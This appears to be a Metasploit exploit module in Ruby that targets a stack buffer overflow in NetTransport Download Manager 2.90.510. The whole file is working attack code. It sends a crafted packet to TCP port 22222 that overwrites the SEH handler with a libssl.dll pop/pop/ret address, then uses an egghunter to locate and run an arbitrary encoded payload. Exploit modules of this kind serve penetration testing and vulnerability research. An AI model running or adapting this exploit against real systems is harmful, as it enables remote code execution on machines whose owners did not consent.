NetTransport Download Manager 2.90.510 Buffer Overflow

`require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::Remote::Tcp  
include Msf::Exploit::Egghunter  
include Msf::Exploit::Remote::Seh  
  
def initialize(info = {})  
super(update_info(info,   
'Name' => 'NetTransport Download Manager 2.90.510 Buffer Overflow',  
'Description' => %q{  
This exploits a stack overflow in NetTransport Download Manager,  
part of the NetXfer suite. This module was tested  
successfully against version 2.90.510.  
},  
'Author' =>  
[  
'Lincoln',  
'dookie',  
],  
'License' => MSF_LICENSE,  
'Version' => '$Revision: 7724 $',  
'References' =>  
[  
[ 'OSVDB', '61435' ],  
[ 'URL', 'http://www.exploit-db.com/exploits/10911'],  
],  
'Privileged' => true,  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'seh',  
},  
  
'Payload' =>  
{  
'Space' => 5000,  
'BadChars' => "\x00\x20\x0a\x0d",  
'StackAdjustment' => -3500,  
'DisableNops' => 'True',  
},  
'Platform' => 'win',  
'Targets' =>   
[  
[ 'Windows Universal', { 'Ret' => 0x10002a57 } ], # p/p/r libssl.dll  
],  
'DefaultTarget' => 0))  
  
register_options([Opt::RPORT(22222)], self.class)  
end  
  
def exploit  
connect  
  
magic_packet = "\xe3\x3d\x00\x00\x00\x01\xee\x4f\x08\xe3\x00\x0e\xae\x41\xb0\x24"  
magic_packet << "\x89\x38\x1c\xc7\x6f\x6e\x00\x00\x00\x00\xaf\x8d\x04\x00\x00\x00"  
magic_packet << "\x02\x01\x00\x01\x04\x00\x74\x65\x73\x74\x03\x01\x00\x11\x3c\x00"  
  
# Unleash the Egghunter!  
eh_stub, eh_egg = generate_egghunter  
  
sploit = magic_packet  
sploit << rand_text_alpha_upper(119)  
sploit << "\xeb\x06\x90\x90"  
sploit << [target.ret].pack('V')  
sploit << make_nops(10)  
sploit << eh_stub  
sploit << make_nops(50)  
sploit << eh_egg * 2  
sploit << payload.encoded  
  
print_status("Trying target #{target.name}...")  
sock.put(sploit)  
  
handler  
disconnect  
end  
  
def wfs_delay  
25  
end  
end  
`